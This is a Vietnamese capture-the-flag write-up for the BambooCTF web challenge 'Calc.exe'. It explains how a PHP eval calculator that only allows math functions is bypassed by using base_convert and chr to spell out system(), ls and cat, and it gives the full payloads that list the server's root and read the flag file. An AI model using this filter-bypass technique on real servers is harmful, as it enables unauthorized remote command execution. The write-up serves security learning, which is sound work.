[Web]BambooCTF/Calc.exe
Nguyên cuộc thi làm được 1 bài :( thôi cũng tập tành viết write up để sau này nhìn lại 1 con gà bắt đầu với ctf như làooooo
Last updated
Was this helpful?
Nguyên cuộc thi làm được 1 bài :( thôi cũng tập tành viết write up để sau này nhìn lại 1 con gà bắt đầu với ctf như làooooo
Last updated
Was this helpful?
Chall:
Source:
Cùng nhìn tổng quan đề bài 1 xíu nhé!!!!
Ctr+U coi đi kiếm source xíu. Ồ cho file source code nè:
Nào như mọi lần tui bắt đầu đi đọc code và kết luận vài dòng:
Đây là code php
Có 2 cái function
Param của mình truyền vào là đi qua hàm safe_eval()
Trong safe_eval(), nó đưa param của mình cho is_safe() kiểm tra
Trong is_safe(), nó bắt đầu chạy code các kiểu -> tóm tắt lại rằng: Chỉ được dùng các hàm trong toàn học, và toán tử +-*/
Sau khi is_safe() true sẽ cho chúng ta thực thi (eval), ngược lại sẽ xuất ra màn hình 1 chuỗi.
Vậy giải pháp rút ra là phải inject vào 1 đoạn code sao cho hàm is_safe() trả về true rồi tạo thành 1 command có nghĩa để thực thi được đến server server.
Mình là một con gà mờ về ctf. Nên khi đọc vào trong đầu nghĩ là "Ủa? sao được ta? hàm của toán để nó thành command có nghĩa kiểu gì?". Quyết định ăn miếng bánh thư giãn cho đầu óc suy nghĩ ngoài cái hộp. Ngẫm nghĩ lại lúc trước có làm (đọc write up làm theo) một số bài web thì các bài liên quan đến eval() thì exploit trực tiếp vô luôn, còn cái này có filter thì thường dùng những kỹ thuật xor hay bằng cách nào đấy biến số thành chữ.
Thế là mình quyết định đi tìm các hàm biến số thành chữ hêh
Lúc đầu đi tìm thì mình thấy 1 vài hàm như dechex decoct thì mình dzui vì thấy có khả năng, mà nghĩ lại: "Ủa :)) phải có đủ bảng chữ cái chứ, hong ổn rồi" Một hồi mình nhìn kỹ xíu nữa thì thấy 1 hàm base_convert, hehe nghe xịn mình liền lên w3school tìm hướng dẫn sử dụng (tại w3 có chỗ debug luôn nên mình ưu tiên).
Hehe boizzz, ngonnnnn
Sau khi đã tìm được hồ cá, lượm được cần câu. Giờ phải dùng kỹ năng đi câu hoyyyyyyyyy
Quay lại với hình 1 nhé, coi lại chỗ để nhập phép tính. Trong đầu phải ghi nhớ rằng: "Bây giờ phải dùng base_convert để biến những con số thành 1 command có nghĩa rồi bỏ vô payload này nhaaaa"
system(): base_convert(1751504350,10,36)()
ls: base_convert(784,10,36)
PAYLOAD: base_convert(1751504350,10,36)(base_convert(784,10,36))
Sau đó sẽ trả về kết quả:
Ò ở đây chỉ có index chứ hong có flag :( Mình đi ra thư mục gốc xem thử có flag ngoài đó hong
Lúc này có cái khó khăn là có khoảng trắng và dấu '/'. hmmmmm? làm shaooooo? Mình tìm mọi cách và được chỉ dẫn đến sử dụng ord để lấy mã ascii 1 chữ và chr để đổi ascii ra ký tự. Việc mình cần làm là gọi hàm chr thông qua hàm base_convert và số (số này là đổi chuỗi "chr" từ base-36 sang base-10). Tiếp đó dùng các dấu '.' để nối các hàm lại với nhau.
system(): base_convert(1751504350,10,36)
ls: base_convert(784,10,36)
space: base_convert(16191,10,36)(32)
/: base_convert(16191,10,36)(47)
PAYLOAD: base_convert(1751504350,10,36)(base_convert(784,10,36).base_convert(16191,10,36)(32).base_convert(16191,10,36)(47))
Nhận ngay kết quả:
Á à thì ra flag nằm ngày đây: flag_a2647e5eb8e9e767fe298aa012a49b50 Giờ thì mình mở ra xem hoyyyyy
system(): base_convert(1751504350,10,36)()
cat: base_convert(15941,10,36)
space: .base_convert(16191,10,36)(32)
/: .base_convert(16191,10,36)(47)
flag: .base_convert(727432,10,36)
_: .base_convert(16191,10,36)(95)
a2647e5eb8e9e767fe298aa012a49b50): .base_convert(788365066082,10,36).base_convert(880282369231,10,36).base_convert(1206073849608,10,36).base_convert(83329543332,10,36)
Đoạn nào chữ thôi thì mình chỉ cnầ dùng base_convert còn đoạn nào có ký tự đặc biệt thì mình kết hợp với chr (16191 base36) nữa nhé! Ở chuỗi chữ và số dài loằng ngoằng kia ban đầu mình chỉ dùng 1 lần base_convert nhưng mà nó bị tràn số ra kết quả hong chính xác nên mình chia thành 4 đoạn. Giờ chỉ cần ghép lại tất cả để có payload chính xác:
PAYLOAD: base_convert(1751504350,10,36)(base_convert(15941,10,36).base_convert(16191,10,36)(32).base_convert(16191,10,36)(47).base_convert(727432,10,36).base_convert(16191,10,36)(95).base_convert(788365066082,10,36).base_convert(880282369231,10,36).base_convert(1206073849608,10,36).base_convert(83329543332,10,36))
Hơi dài nhưng chỉ 405chars vẫn thỏa < 1024 của đề bài. Cuối cùng nhận được kết quả:
Trên đây là tất cả write-up của mình về bài "Calc.exe Onl", trình còn kém nên làm còn mơ hồ, diễn giải có thể màu mè hoặc không đúng. Mong bạn đọc có thể đóng góp ý kiến về trang cá nhân của mình <3 Chân thành cảm ơn!